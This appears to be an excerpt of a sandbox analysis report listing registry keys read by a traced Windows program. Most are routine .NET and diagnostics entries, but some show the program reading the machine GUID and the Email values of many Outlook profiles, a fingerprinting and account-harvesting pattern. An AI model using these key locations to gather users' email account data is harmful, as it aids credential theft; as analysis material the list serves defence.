HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8d39bd5b-81f8-4b94-a608-6a50bbff5d15}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8d39bd5b-81f8-4b94-a608-6a50bbff5d15}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{95c162b7-5b71-44f8-82e4-abfd3108f40f} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{95c162b7-5b71-44f8-82e4-abfd3108f40f}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{95c162b7-5b71-44f8-82e4-abfd3108f40f}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{95c162b7-5b71-44f8-82e4-abfd3108f40f}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{9c5a40da-b965-4fc3-8781-88dd50a6299d} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{9c5a40da-b965-4fc3-8781-88dd50a6299d}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{9c5a40da-b965-4fc3-8781-88dd50a6299d}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{9c5a40da-b965-4fc3-8781-88dd50a6299d}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a0d86e0d-3f06-411b-9dd5-35bc5666ff3e} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a0d86e0d-3f06-411b-9dd5-35bc5666ff3e}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a0d86e0d-3f06-411b-9dd5-35bc5666ff3e}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a0d86e0d-3f06-411b-9dd5-35bc5666ff3e}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a59f0643-a6ca-48e0-a7c4-4cdd258439e2} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a59f0643-a6ca-48e0-a7c4-4cdd258439e2}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a59f0643-a6ca-48e0-a7c4-4cdd258439e2}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{a59f0643-a6ca-48e0-a7c4-4cdd258439e2}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{abd0ea66-a840-44a9-97b1-fb74fddaa8c8} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{abd0ea66-a840-44a9-97b1-fb74fddaa8c8}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{abd0ea66-a840-44a9-97b1-fb74fddaa8c8}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{abd0ea66-a840-44a9-97b1-fb74fddaa8c8}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{b171ab1c-60e9-4301-a338-beab1c70b3e9} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{b171ab1c-60e9-4301-a338-beab1c70b3e9}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{b171ab1c-60e9-4301-a338-beab1c70b3e9}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{b171ab1c-60e9-4301-a338-beab1c70b3e9}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{bf2de437-b736-48fb-84a0-5f0c389a068e} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{bf2de437-b736-48fb-84a0-5f0c389a068e}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{bf2de437-b736-48fb-84a0-5f0c389a068e}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{bf2de437-b736-48fb-84a0-5f0c389a068e}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{C0F51D84-11B9-4e74-B083-99F11BA2DB0A} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{C0F51D84-11B9-4e74-B083-99F11BA2DB0A}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{C0F51D84-11B9-4e74-B083-99F11BA2DB0A}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{C0F51D84-11B9-4e74-B083-99F11BA2DB0A}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c70949f5-bda4-4bf3-8121-af0bc174925f} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c70949f5-bda4-4bf3-8121-af0bc174925f}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c70949f5-bda4-4bf3-8121-af0bc174925f}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c70949f5-bda4-4bf3-8121-af0bc174925f}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c8544339-5be9-4f25-862e-485f1b1a6935} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c8544339-5be9-4f25-862e-485f1b1a6935}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c8544339-5be9-4f25-862e-485f1b1a6935}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{c8544339-5be9-4f25-862e-485f1b1a6935}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{d8bcedf8-46c3-440e-bc65-dfa6a5094054} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{d8bcedf8-46c3-440e-bc65-dfa6a5094054}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{d8bcedf8-46c3-440e-bc65-dfa6a5094054}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{d8bcedf8-46c3-440e-bc65-dfa6a5094054}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{E4CD2E3E-3852-4952-B76B-23BB8E35D344} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{E4CD2E3E-3852-4952-B76B-23BB8E35D344}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{E4CD2E3E-3852-4952-B76B-23BB8E35D344}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{E4CD2E3E-3852-4952-B76B-23BB8E35D344}\NameResource HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\WDI\Config HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\Config\ServerName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RADAR HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RADAR\CLResolutionInterval HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RADAR\DisplayInterval HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RADAR\SkipWatson HKEY_LOCAL_MACHINE\Software\Microsoft\RADAR\HeapLeakDetection\Settings HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RADAR\HeapLeakDetection\Settings\ReflectionInterval
Read Keys
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index28 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\00471e98b7a362469ed97e3915fd4111\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\10b0e4d6eb1de34dabd532a0806a0fec\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\192e64c97bf3a54488a039619c763627\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\32a3dc9c400a4b448b60ab7fe553a392\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3517490d76624c419a828607e2a54604\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\43e0bb79f0f2d84db98ff4f730d23d24\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\6a50d9bd87f9a8478751861a1591a6c2\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\7760e21103136b47946c9c80fa097f15\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\7d19c9e894f20d4780a31c9a9f17da11\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\818ecc2f310b344f807e8af5dc013189\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2\Email HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\Email HKEY_CURRENT_USER\Software\Microsoft\Windows 